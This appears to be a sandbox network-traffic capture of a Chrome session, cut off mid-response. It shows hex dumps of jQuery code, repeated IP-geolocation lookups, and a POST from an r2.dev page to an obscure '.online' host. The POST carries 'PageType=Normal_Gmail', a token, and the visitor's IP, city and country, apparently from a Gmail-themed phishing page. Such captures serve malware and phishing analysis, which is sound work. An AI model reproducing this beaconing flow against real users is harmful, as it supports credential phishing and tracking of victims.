2024-12-17 21:24:49 UTC	16384	IN	Data Raw: 09 09 64 65 66 65 72 72 65 64 2e 72 65 73 6f 6c 76 65 57 69 74 68 28 20 63 6f 6e 74 65 78 74 73 2c 20 76 61 6c 75 65 73 20 29 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 7d 3b 0a 09 09 09 7d 2c 0a 0a 09 09 09 70 72 6f 67 72 65 73 73 56 61 6c 75 65 73 2c 20 70 72 6f 67 72 65 73 73 43 6f 6e 74 65 78 74 73 2c 20 72 65 73 6f 6c 76 65 43 6f 6e 74 65 78 74 73 3b 0a 0a 09 09 2f 2f 20 61 64 64 20 6c 69 73 74 65 6e 65 72 73 20 74 6f 20 44 65 66 65 72 72 65 64 20 73 75 62 6f 72 64 69 6e 61 74 65 73 3b 20 74 72 65 61 74 20 6f 74 68 65 72 73 20 61 73 20 72 65 73 6f 6c 76 65 64 0a 09 09 69 66 20 28 20 6c 65 6e 67 74 68 20 3e 20 31 20 29 20 7b 0a 09 09 09 70 72 6f 67 72 65 73 73 56 61 6c 75 65 73 20 3d 20 6e 65 77 20 41 72 72 61 79 28 20 6c 65 6e 67 74 68 20 29 3b 0a 09 09 Data Ascii: deferred.resolveWith( contexts, values );}};},progressValues, progressContexts, resolveContexts;// add listeners to Deferred subordinates; treat others as resolvedif ( length > 1 ) {progressValues = new Array( length );
2024-12-17 21:24:49 UTC	16384	IN	Data Raw: 65 6c 65 6d 20 3d 20 74 68 69 73 5b 30 5d 2c 0a 09 09 09 69 20 3d 20 30 2c 0a 09 09 09 64 61 74 61 20 3d 20 6e 75 6c 6c 3b 0a 0a 09 09 2f 2f 20 47 65 74 73 20 61 6c 6c 20 76 61 6c 75 65 73 0a 09 09 69 66 20 28 20 6b 65 79 20 3d 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 09 09 09 69 66 20 28 20 74 68 69 73 2e 6c 65 6e 67 74 68 20 29 20 7b 0a 09 09 09 09 64 61 74 61 20 3d 20 6a 51 75 65 72 79 2e 64 61 74 61 28 20 65 6c 65 6d 20 29 3b 0a 0a 09 09 09 09 69 66 20 28 20 65 6c 65 6d 2e 6e 6f 64 65 54 79 70 65 20 3d 3d 3d 20 31 20 26 26 20 21 6a 51 75 65 72 79 2e 5f 64 61 74 61 28 20 65 6c 65 6d 2c 20 22 70 61 72 73 65 64 41 74 74 72 73 22 20 29 20 29 20 7b 0a 09 09 09 09 09 61 74 74 72 73 20 3d 20 65 6c 65 6d 2e 61 74 74 72 69 62 75 74 65 73 3b 0a 09 09 Data Ascii: elem = this[0],i = 0,data = null;// Gets all valuesif ( key === undefined ) {if ( this.length ) {data = jQuery.data( elem );if ( elem.nodeType === 1 && !jQuery._data( elem, "parsedAttrs" ) ) {attrs = elem.attributes;
2024-12-17 21:24:49 UTC	16384	IN	Data Raw: 0a 09 09 75 73 65 6d 61 70 3a 20 22 75 73 65 4d 61 70 22 2c 0a 09 09 66 72 61 6d 65 62 6f 72 64 65 72 3a 20 22 66 72 61 6d 65 42 6f 72 64 65 72 22 2c 0a 09 09 63 6f 6e 74 65 6e 74 65 64 69 74 61 62 6c 65 3a 20 22 63 6f 6e 74 65 6e 74 45 64 69 74 61 62 6c 65 22 0a 09 7d 2c 0a 0a 09 70 72 6f 70 3a 20 66 75 6e 63 74 69 6f 6e 28 20 65 6c 65 6d 2c 20 6e 61 6d 65 2c 20 76 61 6c 75 65 20 29 20 7b 0a 09 09 76 61 72 20 72 65 74 2c 20 68 6f 6f 6b 73 2c 20 6e 6f 74 78 6d 6c 2c 0a 09 09 09 6e 54 79 70 65 20 3d 20 65 6c 65 6d 2e 6e 6f 64 65 54 79 70 65 3b 0a 0a 09 09 2f 2f 20 64 6f 6e 27 74 20 67 65 74 2f 73 65 74 20 70 72 6f 70 65 72 74 69 65 73 20 6f 6e 20 74 65 78 74 2c 20 63 6f 6d 6d 65 6e 74 20 61 6e 64 20 61 74 74 72 69 62 75 74 65 20 6e 6f 64 65 73 0a 09 09 69 Data Ascii: usemap: "useMap",frameborder: "frameBorder",contenteditable: "contentEditable"},prop: function( elem, name, value ) {var ret, hooks, notxml,nType = elem.nodeType;// don't get/set properties on text, comment and attribute nodesi
2024-12-17 21:24:49 UTC	16384	IN	Data Raw: 3e 20 31 20 3f 0a 09 09 09 09 62 75 62 62 6c 65 54 79 70 65 20 3a 0a 09 09 09 09 73 70 65 63 69 61 6c 2e 62 69 6e 64 54 79 70 65 20 7c 7c 20 74 79 70 65 3b 0a 0a 09 09 09 2f 2f 20 6a 51 75 65 72 79 20 68 61 6e 64 6c 65 72 0a 09 09 09 68 61 6e 64 6c 65 20 3d 20 28 20 6a 51 75 65 72 79 2e 5f 64 61 74 61 28 20 63 75 72 2c 20 22 65 76 65 6e 74 73 22 20 29 20 7c 7c 20 7b 7d 20 29 5b 20 65 76 65 6e 74 2e 74 79 70 65 20 5d 20 26 26 20 6a 51 75 65 72 79 2e 5f 64 61 74 61 28 20 63 75 72 2c 20 22 68 61 6e 64 6c 65 22 20 29 3b 0a 09 09 09 69 66 20 28 20 68 61 6e 64 6c 65 20 29 20 7b 0a 09 09 09 09 68 61 6e 64 6c 65 2e 61 70 70 6c 79 28 20 63 75 72 2c 20 64 61 74 61 20 29 3b 0a 09 09 09 7d 0a 0a 09 09 09 2f 2f 20 4e 61 74 69 76 65 20 68 61 6e 64 6c 65 72 0a 09 09 09 Data Ascii: > 1 ?bubbleType :special.bindType \|\| type;// jQuery handlerhandle = ( jQuery._data( cur, "events" ) \|\| {} )[ event.type ] && jQuery._data( cur, "handle" );if ( handle ) {handle.apply( cur, data );}// Native handler
2024-12-17 21:24:49 UTC	16384	IN	Data Raw: 28 65 6c 65 6d 2e 74 79 70 65 20 21 3d 3d 20 22 72 61 64 69 6f 22 20 26 26 20 65 6c 65 6d 2e 74 79 70 65 20 21 3d 3d 20 22 63 68 65 63 6b 62 6f 78 22 29 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 65 76 65 6e 74 2e 68 61 6e 64 6c 65 4f 62 6a 2e 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 20 74 68 69 73 2c 20 61 72 67 75 6d 65 6e 74 73 20 29 3b 0a 09 09 09 7d 0a 09 09 7d 2c 0a 0a 09 09 74 65 61 72 64 6f 77 6e 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 6a 51 75 65 72 79 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 20 74 68 69 73 2c 20 22 2e 5f 63 68 61 6e 67 65 22 20 29 3b 0a 0a 09 09 09 72 65 74 75 72 6e 20 21 72 66 6f 72 6d 45 6c 65 6d 73 2e 74 65 73 74 28 20 74 68 69 73 2e 6e 6f 64 65 4e 61 6d 65 20 29 3b 0a 09 09 7d 0a 09 7d 3b 0a 7d 0a 0a 2f Data Ascii: (elem.type !== "radio" && elem.type !== "checkbox") ) {return event.handleObj.handler.apply( this, arguments );}},teardown: function() {jQuery.event.remove( this, "._change" );return !rformElems.test( this.nodeName );}};}/
2024-12-17 21:24:49 UTC	16384	IN	Data Raw: 76 61 72 20 6d 20 3d 20 63 6f 6e 74 65 78 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 20 69 64 20 29 3b 0a 09 09 09 09 2f 2f 20 43 68 65 63 6b 20 70 61 72 65 6e 74 4e 6f 64 65 20 74 6f 20 63 61 74 63 68 20 77 68 65 6e 20 42 6c 61 63 6b 62 65 72 72 79 20 34 2e 36 20 72 65 74 75 72 6e 73 0a 09 09 09 09 2f 2f 20 6e 6f 64 65 73 20 74 68 61 74 20 61 72 65 20 6e 6f 20 6c 6f 6e 67 65 72 20 69 6e 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 20 23 36 39 36 33 0a 09 09 09 09 72 65 74 75 72 6e 20 6d 20 26 26 20 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 20 3f 20 5b 6d 5d 20 3a 20 5b 5d 3b 0a 09 09 09 7d 0a 09 09 7d 3b 0a 09 09 45 78 70 72 2e 66 69 6c 74 65 72 5b 22 49 44 22 5d 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 69 64 20 29 20 7b 0a 09 09 09 76 61 72 20 61 74 74 72 49 Data Ascii: var m = context.getElementById( id );// Check parentNode to catch when Blackberry 4.6 returns// nodes that are no longer in the document #6963return m && m.parentNode ? [m] : [];}};Expr.filter["ID"] = function( id ) {var attrI
2024-12-17 21:24:49 UTC	16384	IN	Data Raw: 77 68 69 6c 65 20 28 20 28 6e 6f 64 65 20 3d 20 6e 6f 64 65 5b 20 64 69 72 20 5d 29 20 29 20 7b 0a 09 09 09 09 09 09 09 09 09 69 66 20 28 20 6f 66 54 79 70 65 20 3f 20 6e 6f 64 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 20 3d 3d 3d 20 6e 61 6d 65 20 3a 20 6e 6f 64 65 2e 6e 6f 64 65 54 79 70 65 20 3d 3d 3d 20 31 20 29 20 7b 0a 09 09 09 09 09 09 09 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 09 09 09 09 09 09 09 7d 0a 09 09 09 09 09 09 09 09 7d 0a 09 09 09 09 09 09 09 09 2f 2f 20 52 65 76 65 72 73 65 20 64 69 72 65 63 74 69 6f 6e 20 66 6f 72 20 3a 6f 6e 6c 79 2d 2a 20 28 69 66 20 77 65 20 68 61 76 65 6e 27 74 20 79 65 74 20 64 6f 6e 65 20 73 6f 29 0a 09 09 09 09 09 09 09 09 73 74 61 72 74 20 3d 20 64 69 72 20 3d 20 Data Ascii: while ( (node = node[ dir ]) ) {if ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) {return false;}}// Reverse direction for :only-* (if we haven't yet done so)start = dir =
2024-12-17 21:24:49 UTC	16384	IN	Data Raw: 20 65 6c 65 6d 20 29 20 3e 20 2d 31 3b 0a 09 09 7d 2c 20 69 6d 70 6c 69 63 69 74 52 65 6c 61 74 69 76 65 2c 20 74 72 75 65 20 29 2c 0a 09 09 6d 61 74 63 68 65 72 73 20 3d 20 5b 20 66 75 6e 63 74 69 6f 6e 28 20 65 6c 65 6d 2c 20 63 6f 6e 74 65 78 74 2c 20 78 6d 6c 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 28 20 21 6c 65 61 64 69 6e 67 52 65 6c 61 74 69 76 65 20 26 26 20 28 20 78 6d 6c 20 7c 7c 20 63 6f 6e 74 65 78 74 20 21 3d 3d 20 6f 75 74 65 72 6d 6f 73 74 43 6f 6e 74 65 78 74 20 29 20 29 20 7c 7c 20 28 0a 09 09 09 09 28 63 68 65 63 6b 43 6f 6e 74 65 78 74 20 3d 20 63 6f 6e 74 65 78 74 29 2e 6e 6f 64 65 54 79 70 65 20 3f 0a 09 09 09 09 09 6d 61 74 63 68 43 6f 6e 74 65 78 74 28 20 65 6c 65 6d 2c 20 63 6f 6e 74 65 78 74 2c 20 78 6d 6c 20 29 20 3a 0a 09 Data Ascii: elem ) > -1;}, implicitRelative, true ),matchers = [ function( elem, context, xml ) {return ( !leadingRelative && ( xml \|\| context !== outermostContext ) ) \|\| ((checkContext = context).nodeType ?matchContext( elem, context, xml ) :

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49732	104.21.16.1	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:24:49 UTC	649	OUT	GET /api/json/ HTTP/1.1 Host: freeipapi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:24:50 UTC	939	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:24:50 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: no-cache, private Vary: Accept-Encoding X-Powered-By: PHP/8.3.11 X-Ratelimit-Limit: 60 X-Ratelimit-Remaining: 59 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DuvlHavPYRC9NRxihr4fGqlCy3e%2Fo9S8VSePbCiriEqWULn43Hbn0OHID6kKGb6ecsJixJN6FBk1PUstCVcd9BN3LzU18Ue6SgwUIwXQsBxHKSzpy1ZGTd%2FSeMpX3h%2FS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39fb7618358ce0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1796&min_rtt=1786&rtt_var=690&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2344&recv_bytes=1227&delivery_rate=1562332&cwnd=206&unsent_bytes=0&cid=4ebccf9cc56cb9d5&ts=554&x=0"
2024-12-17 21:24:50 UTC	430	IN	Data Raw: 34 34 31 0d 0a 7b 22 69 70 56 65 72 73 69 6f 6e 22 3a 34 2c 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 34 30 2e 37 31 33 31 39 32 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 37 34 2e 30 30 36 30 36 35 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 20 6f 66 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 74 69 6d 65 5a 6f 6e 65 22 3a 22 2d 30 34 3a 30 30 22 2c 22 7a 69 70 43 6f 64 65 22 3a 22 31 30 31 31 36 22 2c 22 63 69 74 79 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 69 73 50 72 6f 78 79 22 3a 66 61 6c 73 65 Data Ascii: 441{"ipVersion":4,"ipAddress":"8.46.123.189","latitude":40.713192,"longitude":-74.006065,"countryName":"United States of America","countryCode":"US","timeZone":"-04:00","zipCode":"10116","cityName":"New York City","regionName":"New York","isProxy":false
2024-12-17 21:24:50 UTC	666	IN	Data Raw: 65 22 2c 22 41 6d 65 72 69 63 61 5c 2f 43 68 69 63 61 67 6f 22 2c 22 41 6d 65 72 69 63 61 5c 2f 44 65 6e 76 65 72 22 2c 22 41 6d 65 72 69 63 61 5c 2f 44 65 74 72 6f 69 74 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 49 6e 64 69 61 6e 61 70 6f 6c 69 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 4b 6e 6f 78 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 4d 61 72 65 6e 67 6f 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 50 65 74 65 72 73 62 75 72 67 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 54 65 6c 6c 5f 43 69 74 79 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 56 65 76 61 79 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 56 69 6e 63 Data Ascii: e","America\/Chicago","America\/Denver","America\/Detroit","America\/Indiana\/Indianapolis","America\/Indiana\/Knox","America\/Indiana\/Marengo","America\/Indiana\/Petersburg","America\/Indiana\/Tell_City","America\/Indiana\/Vevay","America\/Indiana\/Vinc
2024-12-17 21:24:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49737	104.21.16.1	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:24:52 UTC	649	OUT	GET /api/json/ HTTP/1.1 Host: freeipapi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:24:53 UTC	939	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:24:53 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: no-cache, private Vary: Accept-Encoding X-Powered-By: PHP/8.3.11 X-Ratelimit-Limit: 60 X-Ratelimit-Remaining: 58 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=53LiUxFOjGDTQKkCAWbodxgUwKBXm%2FbC%2Fv7NEu08mHeySZ3AhaPXapzpg4G3KHHk7tRL%2BgxG7pDoTe73MwxND6S2jT1B5tWBCtdSqvPU55kXPGhhkByhbEf8ORO72ktx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39fb88a94f0fa8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1483&min_rtt=1479&rtt_var=563&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2344&recv_bytes=1227&delivery_rate=1931216&cwnd=252&unsent_bytes=0&cid=5a489664a6c2ce56&ts=556&x=0"
2024-12-17 21:24:53 UTC	430	IN	Data Raw: 34 34 31 0d 0a 7b 22 69 70 56 65 72 73 69 6f 6e 22 3a 34 2c 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 34 30 2e 37 31 33 31 39 32 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 37 34 2e 30 30 36 30 36 35 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 20 6f 66 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 74 69 6d 65 5a 6f 6e 65 22 3a 22 2d 30 34 3a 30 30 22 2c 22 7a 69 70 43 6f 64 65 22 3a 22 31 30 31 31 36 22 2c 22 63 69 74 79 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 69 73 50 72 6f 78 79 22 3a 66 61 6c 73 65 Data Ascii: 441{"ipVersion":4,"ipAddress":"8.46.123.189","latitude":40.713192,"longitude":-74.006065,"countryName":"United States of America","countryCode":"US","timeZone":"-04:00","zipCode":"10116","cityName":"New York City","regionName":"New York","isProxy":false
2024-12-17 21:24:53 UTC	666	IN	Data Raw: 65 22 2c 22 41 6d 65 72 69 63 61 5c 2f 43 68 69 63 61 67 6f 22 2c 22 41 6d 65 72 69 63 61 5c 2f 44 65 6e 76 65 72 22 2c 22 41 6d 65 72 69 63 61 5c 2f 44 65 74 72 6f 69 74 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 49 6e 64 69 61 6e 61 70 6f 6c 69 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 4b 6e 6f 78 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 4d 61 72 65 6e 67 6f 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 50 65 74 65 72 73 62 75 72 67 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 54 65 6c 6c 5f 43 69 74 79 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 56 65 76 61 79 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 56 69 6e 63 Data Ascii: e","America\/Chicago","America\/Denver","America\/Detroit","America\/Indiana\/Indianapolis","America\/Indiana\/Knox","America\/Indiana\/Marengo","America\/Indiana\/Petersburg","America\/Indiana\/Tell_City","America\/Indiana\/Vevay","America\/Indiana\/Vinc
2024-12-17 21:24:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49738	104.21.112.1	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:24:53 UTC	346	OUT	GET /api/json/ HTTP/1.1 Host: freeipapi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:24:53 UTC	940	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:24:53 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: no-cache, private Vary: Accept-Encoding X-Powered-By: PHP/8.3.11 X-Ratelimit-Limit: 60 X-Ratelimit-Remaining: 57 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u%2FD5eOOJwBKVqnZ5L7hR5dxQbBWVl0ZAqiqYFdB4f2IFMKzIW33zQvkIUof7TyPI1l1u4qKo2yR%2FGAsv3K%2BvQhlbtZ%2BWmlNFXXZnVm9LpUdEySZADQxAkZEO1atWotgR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39fb899cc2729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2219&min_rtt=1910&rtt_var=937&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2343&recv_bytes=924&delivery_rate=1528795&cwnd=169&unsent_bytes=0&cid=37c9de2294ec6277&ts=687&x=0"
2024-12-17 21:24:53 UTC	429	IN	Data Raw: 34 34 31 0d 0a 7b 22 69 70 56 65 72 73 69 6f 6e 22 3a 34 2c 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 34 30 2e 37 31 33 31 39 32 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 37 34 2e 30 30 36 30 36 35 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 20 6f 66 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 74 69 6d 65 5a 6f 6e 65 22 3a 22 2d 30 34 3a 30 30 22 2c 22 7a 69 70 43 6f 64 65 22 3a 22 31 30 31 31 36 22 2c 22 63 69 74 79 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 69 73 50 72 6f 78 79 22 3a 66 61 6c 73 65 Data Ascii: 441{"ipVersion":4,"ipAddress":"8.46.123.189","latitude":40.713192,"longitude":-74.006065,"countryName":"United States of America","countryCode":"US","timeZone":"-04:00","zipCode":"10116","cityName":"New York City","regionName":"New York","isProxy":false
2024-12-17 21:24:53 UTC	667	IN	Data Raw: 73 65 22 2c 22 41 6d 65 72 69 63 61 5c 2f 43 68 69 63 61 67 6f 22 2c 22 41 6d 65 72 69 63 61 5c 2f 44 65 6e 76 65 72 22 2c 22 41 6d 65 72 69 63 61 5c 2f 44 65 74 72 6f 69 74 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 49 6e 64 69 61 6e 61 70 6f 6c 69 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 4b 6e 6f 78 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 4d 61 72 65 6e 67 6f 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 50 65 74 65 72 73 62 75 72 67 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 54 65 6c 6c 5f 43 69 74 79 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 56 65 76 61 79 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 56 69 6e Data Ascii: se","America\/Chicago","America\/Denver","America\/Detroit","America\/Indiana\/Indianapolis","America\/Indiana\/Knox","America\/Indiana\/Marengo","America\/Indiana\/Petersburg","America\/Indiana\/Tell_City","America\/Indiana\/Vevay","America\/Indiana\/Vin
2024-12-17 21:24:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49739	104.21.57.143	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:24:53 UTC	760	OUT	POST /obufsssssssscaaatoion/ HTTP/1.1 Host: glp6srokudo.tkllop.online Connection: keep-alive Content-Length: 119 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:24:53 UTC	119	OUT	Data Raw: 50 61 67 65 54 79 70 65 3d 4e 6f 72 6d 61 6c 5f 47 6d 61 69 6c 26 4e 41 4d 45 4f 46 54 48 45 47 55 59 3d 4c 6e 64 4c 48 32 64 4e 56 45 61 42 63 62 48 36 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 31 38 39 26 63 69 74 79 3d 4e 65 77 2b 59 6f 72 6b 2b 43 69 74 79 26 63 6f 75 6e 74 72 79 3d 55 6e 69 74 65 64 2b 53 74 61 74 65 73 2b 6f 66 2b 41 6d 65 72 69 63 61 Data Ascii: PageType=Normal_Gmail&NAMEOFTHEGUY=LndLH2dNVEaBcbH6&ip=8.46.123.189&city=New+York+City&country=United+States+of+America
2024-12-17 21:24:53 UTC	949	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:24:53 GMT Content-Type: application/json Content-Length: 723791 Connection: close X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin access-control-allow-origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NQSq7okIFV0bwBQWAdvCvtTJRp8s2lZZe9rw98JBM3Ao4JDk60HkQA2WDmTKEnrd6R4e24DidPcQzfH0zPxpSCyhJCVIybS%2FYWyMHV4AwsX2cNub2Dqm3AA%2BhokX7wLQbSXfIhHsxnPzHsd3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39fb8aad1c78e2-EWR alt-svc: h3=":443"; ma=86400 server-timing: 